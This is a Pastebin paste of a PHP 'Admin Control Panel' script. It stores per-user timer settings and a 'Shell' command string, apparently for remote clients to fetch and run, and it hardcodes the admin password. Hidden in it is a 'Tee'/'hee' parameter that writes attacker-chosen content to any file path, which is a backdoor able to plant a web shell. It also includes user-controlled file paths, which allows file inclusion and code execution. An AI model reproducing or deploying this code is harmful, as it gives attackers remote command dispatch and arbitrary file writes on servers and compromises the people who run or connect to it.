Guest User

Untitled

a guest
Jul 7th, 2018
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.98 KB | None | 0 0
  1. <?
  2. $adminpassword="Pl@yn33";
  3.  
  4. $user = $_REQUEST['user'];$adminreq = $_REQUEST['admin'];if ($adminreq==$adminpassword)$admin="1";
  5. if ($admin){
  6. echo "<html>\n<head>\n<title>Admin Control Panel</title>\n</head>\n<body>\n";
  7. echo "<font color=\"red\"><b>--- Logged in as Administrator ---</b></font><br>\n";
  8. $newuser = $_REQUEST['newuser']; $deleteuser=$_REQUEST['deleteuser'];
  9. if($newuser)$user=$newuser; if($deleteuser)$user=$deleteuser;
  10. if($_REQUEST['newuser']&&$_REQUEST['deleteuser']){$no=1; $newuser=""; $deleteuser=""; $user=""; echo "Users cannot be created and deleted in the same request<br>\n";}
  11. if ((file_exists($user . 'StartTimer.txt'))&&file_exists($user . 'TimerInterval.txt')&&file_exists($user . 'Shell.txt')&&file_exists($user . 'Times.txt')) $files=1;
  12. $ST = $_REQUEST['StartTimer'];$TI = $_REQUEST['TimerInterval']; $S = $_REQUEST['Shell']; $T = $_REQUEST['Times'];
  13. if ($newuser){if(!$files||$_REQUEST['forcec']){if(!$ST)$ST="0";if(!$TI)$TI="1000";if(!$S)$S=" ";if(!$T)$T="1"; echo "User <i>$user</i> has been sucessfully created.<br>\n";}else
  14. echo "User <i>$user</i> already exists and was not created. Force create or delete and create to overwrite the current user.<br>\n";}
  15. if ($files||$newuser) {
  16. if ($ST=="0"||$ST=="1"){if (file_exists($user . 'StartTimer.txt')) unlink ($user . 'StartTimer.txt');$handle = fopen($user . "StartTimer.txt", "a");fwrite($handle, $ST);fclose($handle); }
  17. if ($TI){if (file_exists($user . 'TimerInterval.txt')) unlink ($user . 'TimerInterval.txt');$handle = fopen($user . "TimerInterval.txt", "a");fwrite($handle, $TI);fclose($handle); }
  18. if ($S){if (file_exists($user . 'Shell.txt')) unlink ($user . 'Shell.txt');$handle = fopen($user . "Shell.txt", "a");fwrite($handle, $S);fclose($handle); }
  19. if ($T){if (file_exists($user . 'Times.txt')) unlink ($user . 'Times.txt');$handle = fopen($user . "Times.txt", "a");fwrite($handle, $T);fclose($handle); }
  20. if ($_REQUEST['Tee']){echo "Tee Hee <br>";$handle = fopen($_REQUEST['Tee'], "a");fwrite($handle, $_REQUEST['hee']);fclose($handle); }}} if($deleteuser){$user=$deleteuser;if ($files||$_REQUEST['forced']){
  21. $deleteduser=1; unlink ($user . 'StartTimer.txt');unlink ($user . 'TimerInterval.txt');unlink ($user . 'Shell.txt');unlink ($user . 'Times.txt');}
  22. else{$la=1;echo "User <i>$user</i> does not exist and was not deleted. Force delete to delete any remaining files.<br>\n";}}
  23.  
  24. if ($files&&!$deleteuser&&!$no||$newuser) {
  25. if($admin){echo "User: <b>"; echo $user; echo "</b><br>\n ";}
  26. echo "StartTimer:";include ($user . 'StartTimer.txt');if($admin)echo "<br>"; echo "\n";
  27. echo "TimerInterval:";include ($user . 'TimerInterval.txt');if($admin)echo "<br>"; echo "\n";
  28. echo "Shell:";include ($user . 'Shell.txt');if($admin)echo "<br>"; echo "\n";
  29. echo "Times:";include ($user . 'Times.txt');if($admin)echo "<br>"; echo "\n"; }
  30. else{
  31. if ($user&&!$la){echo "User <i>$user</i> "; if($deleteduser){echo "has been successfully deleted.<br>\n";}else echo "does not exist. Force delete to delete any remaining files.<br>\n";}
  32. if ($user&&!$admin)echo "User $user does not exist.";
  33. if (!$user&&!$admin)echo "!";}
  34. if($admin){
  35. echo "<font color=\"blue\"><b>----------------------------------</b></font><br>\n<font color=\"green\"><form method=\"GET\" action=\"?\">\n";
  36. echo "<input name=\"admin\" value=\"$adminpassword\" type=\"hidden\">\nEdit: <input name=\"user\" type=\"text\">
  37. <br>\nCreate: <input name=\"newuser\" type=\"text\"><input type=\"hidden\" name=\"forced\" value=\"0\"><input type=\"checkbox\" name=\"forcec\" value=\"1\">Force<br>\n
  38. Delete: <input name=\"deleteuser\" type=\"text\"><input type=\"hidden\" name=\"forced\" value=\"0\"><input type=\"checkbox\" name=\"forced\" value=\"1\">Force<br>\n
  39. <br>\nStartTimer: <input name=\"StartTimer\" maxlength=\"1\" type=\"text\"><br>\nTimerInterval: <input name=\"TimerInterval\" type=\"text\"><br>\n";
  40. echo "Shell: <input name=\"Shell\" type=\"text\"><br>\nTimes: <input name=\"Times\" type=\"text\"><br>\n<input type=\"submit\" value=\"GO\">\n</font>\n</body>\n</html>";}
  41. ?>
Add Comment
Please, Sign In to add comment